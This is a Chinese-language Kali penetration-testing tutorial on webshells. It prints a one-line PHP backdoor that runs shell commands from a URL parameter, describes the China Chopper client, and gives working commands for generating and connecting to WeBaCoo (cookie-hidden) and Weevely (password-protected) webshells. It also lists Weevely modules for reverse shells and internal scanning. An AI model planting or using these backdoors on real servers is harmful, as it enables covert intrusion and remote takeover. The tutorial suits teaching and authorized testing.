Kali渗透测试

之前我们介绍过一句话的webshell

<?php echo shell_exec($_GET['cmd']);?>

中国菜刀
可能被IDS、AV、WAF、扫描器软件发现查杀

中国菜刀

下载好了之后，复制这个代码去服务器

之后运行客户端程序并添加服务器地址

然后双击就可以正常连接了

WeBaCoo(Web Backdoor Cookie)

类终端的shell
编码通信内容通过cookie头传输，隐蔽性较强
cm：base64编码的命令
cn：服务器用于返回数据
cp：返回信息定界符

生成服务端

webacoo -g -o a.php

客户端去连接，可以正常连接；

webacoo -t -u http://IP/a.php

当然他还有其他很多的命令，自己去试试把

Weevely

隐蔽的类终端PHP Webshell
30多个管理模块
执行系统命令、浏览文件系统
检查服务器常见配置错误
创建正向、反向TCP SHELL连接
通过目标计算机代理HTTP流量
从目标计算机进行端口扫描，渗透内网
支持连接密码

首先需要安装一下库文件

首先访问这个网站https://pypi.python.org/pypi/PySocks/

之后解压出来，然后./setup.py install

生成服务端并传入至服务器中

weevely generate 123456 wee.php    （132456为连接密码）

之后可以连接了

weevely http://192.168.0.119/wee.php 123456 （123456就是设置的密码）

当然还有很多的可利用模块，大家可以试试

Kali渗透测试_WebShell相关推荐

Kali渗透测试-远程控制：6200端口变成“后门”
Kali渗透测试-远程控制:6200端口变成"后门" 测试环境攻击机:Linux kali 5.16.0-kali7-amd64 (IP:192.168.68.248) 靶机:M ...
Kali渗透测试：使用Armitage针对漏洞进行攻击
Kali渗透测试:使用Armitage针对漏洞进行攻击以ms17_010_eternable模块为例("永恒之蓝")经典的漏洞,单击这个模块以后就可以开始攻击了. 实验环境 ...
Kali渗透测试：使用browser_autopwn2模块进行渗透攻击
Kali渗透测试:使用browser_autopwn2模块进行渗透攻击如果觉得一个一个地选择模块很麻烦, 也可以使用browser_autopwn模块.这种攻击的思路是渗透者构造一个攻击用的Web服 ...
kali渗透测试系列---信息收集
kali 渗透测试系列文章目录 kali 渗透测试系列信息收集信息收集信息收集阶段可以说是在整个渗透测试或者攻击很重要的阶段,毕竟知己知彼才能百战百胜,否则从目标主机使用的平台到数据库的使用再 ...
Kali渗透测试：网络数据的嗅探与欺骗
Kali渗透测试:网络数据的嗅探与欺骗无论什么样的漏洞渗透模块,在网络中都是以数据包的形式传输的,因此如果我们能够对网络中的数据包进行分析,就可以掌握渗透的原理. 另外,很多网络攻击的方法也都是发送 ...
学习Kali渗透测试笔记
Kali渗透测试一.什么是渗透测试 1. 软件测试 2. 安全测试与渗透测试 3.渗透测试二.渗透测试的目标 1. 网络硬件设备 2. 主机操作系统 3. 应用系统 4. 数据库系统三.渗透测试 ...
Kali渗透测试：身份认证攻击
Kali渗透测试:身份认证攻击 1.1 简单网络服务认证的攻击网络上很多常见的应用都采用了密码认证的方式,如SSH.Telnet.FTP等.这些应用被广泛应用在各种网络设备上,如果这些认证模式出现问 ...
kali渗透测试实战操作
Kali渗透测试复现所需环境所需环境 Vmware Kali Linux(IP:192.168.145.128) Windows 7 or Windows 10 打开终端,输入msfconsole ...
kali渗透测试环境搭建
推荐阅读 kali渗透测试环境搭建 https://m.weishi100.com/mweb/series/?id=1373351 https://m.weishi100.com/mweb/seri ...

Kali渗透测试_WebShell

中国菜刀

WeBaCoo(Web Backdoor Cookie)

生成服务端

Weevely

Kali渗透测试_WebShell相关推荐

最新文章

热门文章